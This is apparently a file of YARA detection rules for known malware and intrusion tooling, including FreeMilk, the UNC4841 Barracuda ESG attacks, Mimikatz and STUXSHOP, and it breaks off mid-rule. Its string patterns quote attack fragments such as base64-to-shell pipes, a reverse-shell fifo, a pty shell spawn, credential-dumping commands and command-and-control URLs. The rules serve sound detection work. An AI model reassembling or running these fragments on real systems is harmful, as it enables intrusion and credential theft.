rule VBS_Obfuscated_Mal_Feb18_1
{
	meta:
		description = "Detects malicious obfuscated VBS observed in February 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/zPsn83"
		date = "2018-02-12"
		hash1 = "06960cb721609fe5a857fe9ca3696a84baba88d06c20920370ddba1b0952a8ab"
		hash2 = "c5c0e28093e133d03c3806da0061a35776eed47d351e817709d2235b95d3a036"
		hash3 = "e1765a2b10e2ff10235762b9c65e9f5a4b3b47d292933f1a710e241fe0417a74"
		id = "39ea10e5-9dea-5cc8-8388-15378fcbab60"

	strings:
		$x1 = "A( Array( (1* 2^1 )+" ascii
		$x2 = ".addcode(A( Array(" ascii
		$x3 = "false:AA.send:Execute(AA.responsetext):end" ascii
		$x4 = "& A( Array(  (1* 2^1 )+" ascii
		$s1 = ".SYSTEMTYPE:NEXT:IF (UCASE(" ascii
		$s2 = "A = STR:next:end function" ascii
		$s3 = "&WSCRIPT.SCRIPTFULLNAME&CHR" fullword ascii

	condition:
		filesize < 600KB and ( 1 of ( $x* ) or 3 of them )
}

import "pe"

rule FreeMilk_APT_Mal_1
{
	meta:
		description = "Detects malware from FreeMilk campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
		date = "2017-10-05"
		hash1 = "34478d6692f8c28332751b31fd695b799d4ab36a8c12f7b728e2cb99ae2efcd9"
		hash2 = "35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2"
		hash3 = "0f82ea2f92c7e906ee9ffbbd8212be6a8545b9bb0200eda09cce0ba9d7cb1313"
		id = "eff37dba-d4a9-5e3d-9452-49f04ddcbe0b"

	strings:
		$x1 = "\\milk\\Release\\milk.pdb" ascii
		$x2 = "E:\\BIG_POOH\\Project\\" ascii
		$x3 = "Windows-KB271854-x86.exe" fullword wide
		$s1 = "Windows-KB275122-x86.exe" fullword wide
		$s2 = "\\wsatra.tmp" wide
		$s3 = "%s\\Rar0tmpExtra%d.rtf" fullword wide
		$s4 = "\"%s\" help" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "108aa007b3d1b4817ff4c04d9b254b39" or 1 of ( $x* ) or 4 of them )
}

import "pe"

rule FreeMilk_APT_Mal_2
{
	meta:
		description = "Detects malware from FreeMilk campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
		date = "2017-10-05"
		hash1 = "7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df"
		id = "ef5f400c-16f8-5374-af16-c8530ddb87ee"

	strings:
		$s1 = "failed to take the screenshot. err: %d" fullword ascii
		$s2 = "runsample" fullword wide
		$s3 = "%s%02X%02X%02X%02X%02X%02X:" fullword wide
		$s4 = "win-%d.%d.%d-%d" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "b86f7d2c1c182ec4c074ae1e16b7a3f5" or all of them )
}

rule FreeMilk_APT_Mal_3
{
	meta:
		description = "Detects malware from FreeMilk campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
		date = "2017-10-05"
		hash1 = "ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2"
		id = "152781f0-756b-50ab-b588-4af5fa4ce419"

	strings:
		$s1 = "CMD.EXE /C \"%s\"" fullword wide
		$s2 = "\\command\\start.exe" wide
		$s3 = ".bat;.com;.cmd;.exe" fullword wide
		$s4 = "Unexpected failure opening HKCR key: %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them )
}

import "pe"

rule FreeMilk_APT_Mal_4
{
	meta:
		description = "Detects malware from FreeMilk campaign"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
		date = "2017-10-05"
		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
		id = "44f919f7-8eda-5e70-88d5-9e81a761192c"

	strings:
		$x1 = "base64Encoded=\"TVqQAAMAAAAE" ascii
		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
		$s2 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
		$s3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
		$s4 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
		$s5 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
		$s6 = "command =outFile &\" sysupdate\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( ( pe.exports ( "getUpdate" ) and pe.number_of_exports == 1 ) or 1 of ( $x* ) or 3 of them )
}

rule Armitage_msfconsole
{
	meta:
		description = "Detects Armitage component"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-12-24"
		modified = "2022-08-18"
		hash1 = "662ba75c7ed5ac55a898f480ed2555d47d127a2d96424324b02724b3b2c95b6a"
		id = "9c610cd0-663e-54ea-a0f2-6c044fc45d23"

	strings:
		$s1 = "\\umeterpreter\\u >" ascii
		$s3 = "^meterpreter >" fullword ascii
		$s11 = "\\umsf\\u>" ascii

	condition:
		filesize < 1KB and 2 of them
}

rule Armitage_MeterpreterSession_Strings
{
	meta:
		description = "Detects Armitage component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-12-24"
		hash1 = "b258b2f12f57ed05d8eafd29e9ecc126ae301ead9944a616b87c240bf1e71f9a"
		hash2 = "144cb6b1cf52e60f16b45ddf1633132c75de393c2705773b9f67fce334a3c8b8"
		id = "c49fdb73-1c95-5c63-b039-2fddb77290dc"

	strings:
		$s1 = "session.meterpreter_read" fullword ascii
		$s2 = "sniffer_dump" fullword ascii
		$s3 = "keyscan_dump" fullword ascii
		$s4 = "MeterpreterSession.java" fullword ascii

	condition:
		filesize < 30KB and 1 of them
}

rule Armitage_OSX
{
	meta:
		description = "Detects Armitage component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-12-24"
		hash1 = "2680d9900a057d553fcb28d84cdc41c3fc18fd224a88a32ee14c9c1b501a86af"
		hash2 = "b7b506f38d0553cd2beb4111c7ef383c821f04cee5169fed2ef5d869c9fbfab3"
		id = "e886e866-c163-56fb-9631-c586e9f23f9e"

	strings:
		$x1 = "resources/covertvpn-injector.exe" fullword ascii
		$s10 = "resources/browserpivot.x64.dll" fullword ascii
		$s17 = "resources/msfrpcd_new.bat" fullword ascii

	condition:
		filesize < 6000KB and 1 of them
}

rule APT_UNC4841_ESG_Barracuda_CVE_2023_2868_Forensic_Artifacts_Jun23_1 : SCRIPT
{
	meta:
		description = "Detects forensic artifacts found in the exploitation of CVE-2023-2868 in Barracuda ESG devices by UNC4841"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		date = "2023-06-15"
		modified = "2023-06-16"
		score = 75
		id = "50518fa1-33de-5fe5-b957-904d976fb29a"

	strings:
		$x01 = "=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64" ascii
		$x02 = ";echo $abcdefg | base64 -d | sh" ascii
		$x03 = "setsid sh -c \"mkfifo /tmp/p" ascii
		$x04 = "sh -i </tmp/p 2>&1" ascii
		$x05 = "if string.match(hdr:body(), \"^[%w%+/=" ascii
		$x06 = "setsid sh -c \"/sbin/BarracudaMailService eth0\""
		$x07 = "echo \"set the bvp ok\""
		$x08 = "find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;"
		$x09 = " /mail/mstore | xargs -i cp {} /usr/share/.uc/"
		$x10 = "tar -T /mail/mstore/tmplist -czvf "
		$sa1 = "sh -c wget --no-check-certificate http"
		$sa2 = ".tar;chmod +x "

	condition:
		1 of ( $x* ) or all of ( $sa* )
}

rule APT_MAL_UNC4841_SEASPY_Jun23_1
{
	meta:
		description = "Detects SEASPY malware used by UNC4841 in attacks against Barracuda ESG appliances exploiting CVE-2023-2868"
		author = "Florian Roth"
		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
		date = "2023-06-16"
		score = 85
		hash1 = "3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115"
		id = "bcff58f8-87f6-5371-8b96-5d4c0f349000"

	strings:
		$sx1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0" ascii fullword
		$s1 = "fcntl.tmp.amd64." ascii
		$s2 = "Child process id:%d" ascii fullword
		$s3 = "[*]Success!" ascii fullword
		$s4 = "NO port code" ascii
		$s5 = "enter open tty shell" ascii
		$op1 = { 48 89 c6 f3 a6 0f 84 f7 01 00 00 bf 6c 84 5f 00 b9 05 00 00 00 48 89 c6 f3 a6 0f 84 6a 01 00 00 }
		$op2 = { f3 a6 0f 84 d2 00 00 00 48 89 de bf 51 5e 61 00 b9 05 00 00 00 f3 a6 74 21 48 89 de }
		$op3 = { 72 de 45 89 f4 e9 b8 f4 ff ff 48 8b 73 08 45 85 e4 ba 49 3d 62 00 b8 44 81 62 00 48 0f 45 d0 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 9000KB and 3 of them or 5 of them
}

rule APT_MAL_UNC4841_SEASPY_LUA_Jun23_1
{
	meta:
		description = "Detects SEASPY malware related LUA script"
		author = "Florian Roth"
		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
		date = "2023-06-16"
		score = 90
		hash1 = "56e8066bf83ff6fe0cec92aede90f6722260e0a3f169fc163ed88589bffd7451"
		id = "a44861d0-107e-589b-8cf1-3fbc2f5c78dc"

	strings:
		$x1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii fullword
		$x2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii fullword
		$xe1 = "os.execute('rverify'..' /tmp/'..attachment:filename())" ascii base64
		$xe2 = "log.debug(\"--- opening archive [%s], mimetype [%s]\", tmpfile" ascii base64

	condition:
		filesize < 500KB and 1 of them
}

rule APT_HKTL_Proxy_Tool_Jun23_1
{
	meta:
		description = "Detects agent used as proxy tool in UNC4841 intrusions - possibly Alchemist C2 framework implant"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		date = "2023-06-16"
		score = 75
		hash1 = "ca72fa64ed0a9c22d341a557c6e7c1b6a7264b0c4de0b6f717dd44bddf550bca"
		hash2 = "57e4b180fd559f15b59c43fb3335bd59435d4d76c4676e51a06c6b257ce67fb2"
		id = "0e406737-3083-53c2-a6d2-14c07794125a"

	strings:
		$a2 = "/src/runtime/panic.go"
		$s1 = "main.handleClientRequest" ascii fullword
		$s2 = "main.sockIP.toAddr" ascii fullword

	condition:
		( uint16( 0 ) == 0x5a4d or uint32be( 0 ) == 0x7f454c46 or uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xbebafeca ) and filesize < 10MB and all of them
}

rule SUSP_FScan_Port_Scanner_Output_Jun23 : SCRIPT
{
	meta:
		description = "Detects output generated by the command line port scanner FScan"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		date = "2023-06-15"
		score = 70
		id = "7eb4b27f-0c5b-5d7e-b759-95d7894d5822"

	strings:
		$s1 = "[*] NetInfo:" ascii
		$s2 = ":443 open" ascii
		$s3 = "   [->]"

	condition:
		filesize < 800KB and all of them
}

rule SUSP_PY_Shell_Spawn_Jun23_1 : SCRIPT
{
	meta:
		description = "Detects suspicious one-liner to spawn a shell using Python"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		date = "2023-06-15"
		score = 70
		id = "15fd2c9a-c425-5d4d-9209-fd3826074d6c"

	strings:
		$x1 = "python -c import pty;pty.spawn(\"/bin/" ascii

	condition:
		1 of them
}

rule APT_MAL_Hunting_LUA_SEASIDE_1
{
	meta:
		description = "Hunting rule looking for strings observed in SEASIDE samples."
		author = "Mandiant"
		date = "2023-06-15"
		score = 70
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		hash = "cd2813f0260d63ad5adf0446253c2172"
		id = "86eaff7b-4ca0-53cd-8886-da66a36c778f"

	strings:
		$s1 = "function on_helo()"
		$s2 = "local bindex,eindex = string.find(helo,'.onion')"
		$s3 = "helosend = 'pd'..' '..helosend"
		$s4 = "os.execute(helosend)"

	condition:
		filesize < 1MB and all of ( $s* )
}

rule APT_MAL_LNX_Hunting_Linux_WHIRLPOOL_1
{
	meta:
		description = "Hunting rule looking for strings observed in WHIRLPOOL samples."
		author = "Mandiant"
		date = "2023-06-15"
		score = 70
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		hash = "177add288b289d43236d2dba33e65956"
		id = "a997bd65-c502-53a0-8bb8-62daaa916f0d"

	strings:
		$s1 = "error -1 exit" fullword
		$s2 = "create socket error: %s(error: %d)\n" fullword
		$s3 = "connect error: %s(error: %d)\n" fullword
		$s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}
		$c1 = "plain_connect" fullword
		$c2 = "ssl_connect" fullword
		$c3 = "SSLShell.c" fullword

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 15MB and ( all of ( $s* ) or all of ( $c* ) )
}

rule APT_MAL_LUA_Hunting_SKIPJACK_1
{
	meta:
		author = "Mandiant"
		date = "2023-06-15"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		description = "Hunting rule looking for strings observed in SKIPJACK installation script."
		hash = "e4e86c273a2b67a605f5d4686783e0cc"
		score = 70
		id = "0026375c-7f37-5ef9-bd55-5b9fc499e5d2"

	strings:
		$str1 = "hdr:name() == 'Content-ID'" base64
		$str2 = "hdr:body() ~= nil" base64
		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64
		$str4 = "openssl aes-256-cbc" base64
		$str5 = "mod_content.lua"
		$str6 = "#!/bin/sh"

	condition:
		all of them
}

rule APT_MAL_LUA_Hunting_Lua_SKIPJACK_2
{
	meta:
		author = "Mandiant"
		date = "2023-06-15"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		description = "Hunting rule looking for strings observed in SKIPJACK samples."
		hash = "87847445f9524671022d70f2a812728f"
		score = 70
		id = "e1eac294-fe60-5bb2-bae4-0f7bcbe6b1db"

	strings:
		$str1 = "hdr:name() == 'Content-ID'"
		$str2 = "hdr:body() ~= nil"
		$str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")"
		$str4 = "openssl aes-256-cbc"
		$str5 = "| base64 -d| sh 2>"

	condition:
		all of them
}

rule APT_MAL_LUA_Hunting_Lua_SEASPRAY_1
{
	meta:
		author = "Mandiant"
		date = "2023-06-15"
		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
		description = "Hunting rule looking for strings observed in SEASPRAY samples."
		hash = "35cf6faf442d325961935f660e2ab5a0"
		score = 70
		id = "8c744b85-b61e-56d0-8a9e-ae6a954e1b95"

	strings:
		$str1 = "string.find(attachment:filename(),'obt075') ~= nil"
		$str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())"
		$str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())"

	condition:
		all of them
}

rule SUSP_CMD_Var_Expansion
{
	meta:
		description = "Detects Office droppers that include a variable expansion string"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/asfakian/status/1044859525675843585"
		date = "2018-09-26"
		score = 60
		id = "3f3ebea0-1d33-513d-b32b-9d87607525e8"

	strings:
		$a1 = " /V:ON" ascii wide fullword

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 500KB and $a1
}

rule EXPL_ManageEngine_CVE_2022_47966_Jan23_1
{
	meta:
		description = "Detects indicators of exploitation of ManageEngine vulnerability as described by Horizon3"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.horizon3.ai/manageengine-cve-2022-47966-iocs/"
		date = "2023-01-13"
		score = 75
		id = "07535b9c-8611-5a46-bcd7-f94070de2aea"

	strings:
		$ = "]: com.adventnet.authentication.saml.SamlException: Signature validation failed. SAML Response rejected|"

	condition:
		1 of them
}

rule IceFog_Malware_Feb18_1
{
	meta:
		description = "Detects IceFog malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ClearskySec/status/968104465818669057"
		date = "2018-02-26"
		modified = "2023-01-06"
		hash1 = "480373cffc4e60aa5be2954a156e37d689b92e6e33969958230f2ce59d30b9ec"
		id = "ce8e3a9b-9f4b-534c-983d-bb5490da5768"

	strings:
		$s1 = "cmd /c %c%s%c" fullword ascii
		$s2 = "temp.bat" fullword ascii
		$s3 = "c:\\windows\\debug\\wia\\help" fullword wide
		$s4 = "/getorder.aspx?hostname=" fullword wide
		$s5 = "\\filecfg_temp.dat" wide
		$s6 = "Unknown operating system " fullword wide
		$s7 = "kastygost.compress.to" fullword wide
		$s8 = "/downloads/" wide
		$s9 = "\\key.dat" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 4 of them
}

rule Mimikatz_Memory_Rule_1 : APT
{
	meta:
		author = "Florian Roth"
		date = "2014-12-22"
		modified = "2023-07-04"
		score = 70
		nodeepdive = 1
		description = "Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures)"
		id = "55cc7129-5ea0-5545-a8f6-b5306a014dd0"

	strings:
		$s1 = "sekurlsa::wdigest" fullword ascii
		$s2 = "sekurlsa::logonPasswords" fullword ascii
		$s3 = "sekurlsa::minidump" fullword ascii
		$s4 = "sekurlsa::credman" fullword ascii
		$fp1 = "\"x_mitre_version\": " ascii
		$fp2 = "{\"type\":\"bundle\","
		$fp3 = "use strict" ascii fullword
		$fp4 = "\"url\":\"https://attack.mitre.org/" ascii

	condition:
		1 of ( $s* ) and not 1 of ( $fp* )
}

rule mimikatz : FILE
{
	meta:
		description = "mimikatz"
		author = "Benjamin DELPY (gentilkiwi)"
		tool_author = "Benjamin DELPY (gentilkiwi)"
		modified = "2022-11-16"
		id = "840a5b8c-a311-50bc-a099-6b8ab1492e12"

	strings:
		$exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd }
		$exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
		$exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
		$exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
		$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
		$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }

	condition:
		( all of ( $exe_x86_* ) ) or ( all of ( $exe_x64_* ) ) or ( any of ( $sys_* ) )
}

rule wce
{
	meta:
		description = "wce"
		author = "Benjamin DELPY (gentilkiwi)"
		tool_author = "Hernan Ochoa (hernano)"
		id = "857981ee-3f57-580b-8bfd-8d2109298e27"

	strings:
		$hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
		$hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
		$hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }

	condition:
		any of them
}

rule power_pe_injection
{
	meta:
		description = "PowerShell with PE Reflective Injection"
		author = "Benjamin DELPY (gentilkiwi)"
		id = "a71fe9f2-9c2a-5650-a5c7-116b76f10db6"

	strings:
		$str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"

	condition:
		$str_loadlib
}

rule Mimikatz_Logfile
{
	meta:
		description = "Detects a log file generated by malicious hack tool mimikatz"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 80
		date = "2015/03/31"
		id = "921d85fc-fb4d-57ed-b4ac-203d5c6f1e8e"

	strings:
		$s1 = "SID               :" ascii fullword
		$s2 = "* NTLM     :" ascii fullword
		$s3 = "Authentication Id :" ascii fullword
		$s4 = "wdigest :" ascii fullword

	condition:
		all of them
}

import "pe"

rule Mimikatz_Strings
{
	meta:
		description = "Detects Mimikatz strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2016-06-08"
		score = 65
		id = "d8f63b71-c66c-5c10-9268-2d8970f7c8a1"

	strings:
		$x1 = "sekurlsa::logonpasswords" fullword wide ascii
		$x2 = "List tickets in MIT/Heimdall ccache" fullword ascii wide
		$x3 = "kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage %08x" fullword ascii wide
		$x4 = "* Injecting ticket :" fullword wide ascii
		$x5 = "mimidrv.sys" fullword wide ascii
		$x6 = "Lists LM & NTLM credentials" fullword wide ascii
		$x7 = "\\_ kerberos -" wide ascii
		$x8 = "* unknow   :" fullword wide ascii
		$x9 = "\\_ *Password replace ->" wide ascii
		$x10 = "KIWI_MSV1_0_PRIMARY_CREDENTIALS KO" ascii wide
		$x11 = "\\\\.\\mimidrv" wide ascii
		$x12 = "Switch to MINIDUMP :" fullword wide ascii
		$x13 = "[masterkey] with password: %s (%s user)" fullword wide
		$x14 = "Clear screen (doesn't work with redirections, like PsExec)" fullword wide
		$x15 = "** Session key is NULL! It means allowtgtsessionkey is not set to 1 **" fullword wide
		$x16 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " fullword wide

	condition:
		(( uint16( 0 ) == 0x5a4d and 1 of ( $x* ) ) or ( 3 of them ) ) and not pe.imphash ( ) == "77eaeca738dd89410a432c6bd6459907"
}

rule AppInitHook
{
	meta:
		description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/Z292v6"
		date = "2015-07-15"
		score = 70
		hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
		id = "73713011-3083-5cdf-b59c-f4da67d2d2ab"

	strings:
		$s0 = "\\Release\\AppInitHook.pdb" ascii
		$s1 = "AppInitHook.dll" fullword ascii
		$s2 = "mimikatz.exe" fullword wide
		$s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
		$s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
		$s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
		$s6 = "VoidFunc" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 4 of them
}

rule HKTL_Mimikatz_SkeletonKey_in_memory_Aug20_1
{
	meta:
		description = "Detects Mimikatz SkeletonKey in Memory"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/sbousseaden/status/1292143504131600384?s=12"
		date = "2020-08-09"
		id = "e7c1c512-e944-5d87-ac57-cdc9ab7cf660"

	strings:
		$x1 = { 60 ba 4f ca c7 44 24 34 dc 46 6c 7a c7 44 24 38
              03 3c 17 81 c7 44 24 3c 94 c0 3d f6 }

	condition:
		1 of them
}

rule HKTL_mimikatz_memssp_hookfn
{
	meta:
		description = "Detects Default Mimikatz memssp module in-memory"
		author = "SBousseaden"
		date = "2020-08-26"
		reference = "https://github.com/sbousseaden/YaraHunts/blob/master/mimikatz_memssp_hookfn.yara"
		score = 70
		id = "89940110-8a5e-5a28-bf64-3b568f8ef1f8"

	strings:
		$xc1 = { 48 81 EC A8 00 00 00 C7 84 24 88 00 00 00 ?? ??
               ?? ?? C7 84 24 8C 00 00 00 ?? ?? ?? ?? C7 84 24
               90 00 00 00 ?? ?? ?? 00 C7 84 24 80 00 00 00 61
               00 00 00 C7 44 24 40 5B 00 25 00 C7 44 24 44 30
               00 38 00 C7 44 24 48 78 00 3A 00 C7 44 24 4C 25
               00 30 00 C7 44 24 50 38 00 78 00 C7 44 24 54 5D
               00 20 00 C7 44 24 58 25 00 77 00 C7 44 24 5C 5A
               00 5C 00 C7 44 24 60 25 00 77 00 C7 44 24 64 5A
               00 09 00 C7 44 24 68 25 00 77 00 C7 44 24 6C 5A
               00 0A 00 C7 44 24 70 00 00 00 00 48 8D 94 24 80
               00 00 00 48 8D 8C 24 88 00 00 00 48 B8 A0 7D ??
               ?? ?? ?? 00 00 FF D0 }

	condition:
		$xc1
}

rule HKTL_mimikatz_icon
{
	meta:
		description = "Detects mimikatz icon in PE file"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		author = "Arnim Rupp"
		reference = "https://blog.gentilkiwi.com/mimikatz"
		date = "2023-02-18"
		score = 60
		hash1 = "61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1"
		hash2 = "1c3f584164ef595a37837701739a11e17e46f9982fdcee020cf5e23bad1a0925"
		hash3 = "c6bb98b24206228a54493274ff9757ce7e0cbb4ab2968af978811cc4a98fde85"
		hash4 = "721d3476cdc655305902d682651fffbe72e54a97cd7e91f44d1a47606bae47ab"
		hash5 = "c0f3523151fa307248b2c64bdaac5f167b19be6fccff9eba92ac363f6d5d2595"
		id = "2a5ea476-a30d-5eac-b57a-3fb49386c046"

	strings:
		$ico = {79 e1 d7 ff 7e e5 db ff 7f e8 dc ff 85 eb dd ff ba ff f1 ff 66 a0 b6 ff 01 38 61 ff 22 50 75 c3}

	condition:
		uint16( 0 ) == 0x5A4D and $ico and filesize < 10MB
}

rule STUXSHOP_config
{
	meta:
		desc = "Stuxshop standalone sample configuration"
		author = "JAG-S (turla@chronicle.security)"
		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
		id = "67367db5-51b3-5177-960a-5b06161154e2"

	strings:
		$cnc1 = "http://211.24.237.226/index.php?data=" ascii wide
		$cnc2 = "http://todaysfutbol.com/index.php?data=" ascii wide
		$cnc3 = "http://78.111.169.146/index.php?data=" ascii wide
		$cnc4 = "http://mypremierfutbol.com/index.php?data=" ascii wide
		$regkey1 = "Software\\Microsoft\\Windows\\CurrentVersion\\MS-DOS Emulation" ascii wide
		$regkey2 = "NTVDMParams" ascii wide
		$flowerOverlap1 = { 85 C0 75 3B 57 FF 75 1C FF 75 18 FF 75 14 50 FF 75 10 FF 75 FC FF 15 }
		$flowerOverlap2 = { 85 C0 75 4C 8B 45 1C 89 45 0C 8D 45 0C 50 8D 45 08 FF 75 18 50 6A 00 FF 75 10 FF 75 20 FF 15 }
		$flowerOverlap3 = { 55 8B EC 53 56 8B 75 20 85 F6 74 03 83 26 00 8D 45 20 50 68 19 00 02 00 6A 00 FF 75 0C FF 75 08 }
		$flowerOverlap4 = { 55 8B EC 51 8D 4D FC 33 C0 51 50 6A 26 50 89 45 FC FF 15 }
		$flowerOverlap5 = { 85 DB 74 04 8B C3 EB 1A 8B 45 08 3B 45 14 74 07 B8 5D 06 00 00 EB 0B 85 F6 74 05 8B 45 0C 89 06 }
		$flowerOverlap6 = { 85 FF 74 12 83 7D F8 01 75 0C FF 75 0C FF 75 08 FF 15 }

	condition:
		all of ( $flowerOverlap* ) or 2 of ( $cnc* ) or all of ( $regkey* )
}

rule STUXSHOP_OSCheck
{
	meta:
		author = "Silas Cutler (havex@Chronicle.Security)"
		desc = "Identifies the OS Check function in STUXSHOP and CheshireCat"
		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
		id = "24fb5c6f-d5ab-5f17-942c-b712e2c017d4"

	strings:
		$ = {10 F7 D8 1B C0 83 C0 ?? E9 ?? 01 00 00 39 85 7C FF FF FF 0F 85 ?? 01 00
      00 83 BD 70 FF FF FF 04 8B 8D 74 FF FF FF 75 0B 85 C9 0F 85 ?? 01 00 00 6A 05
      5E }
		$ = {01 00 00 3B FA 0F 84 ?? 01 00 00 80 7D 80 00 B1 62 74 1D 6A 0D 8D 45 80
      68 ?? ?? ?? 10 50 FF 15 ?? ?? ?? 10 83 C4 0C B1 6F 85 C0 75 03 8A 4D 8D 8B C6
      }

	condition:
		any of them
}

rule APT_Equation_Group_Op_Triangulation_TriangleDB_Implant_Jun23_1
{
	meta:
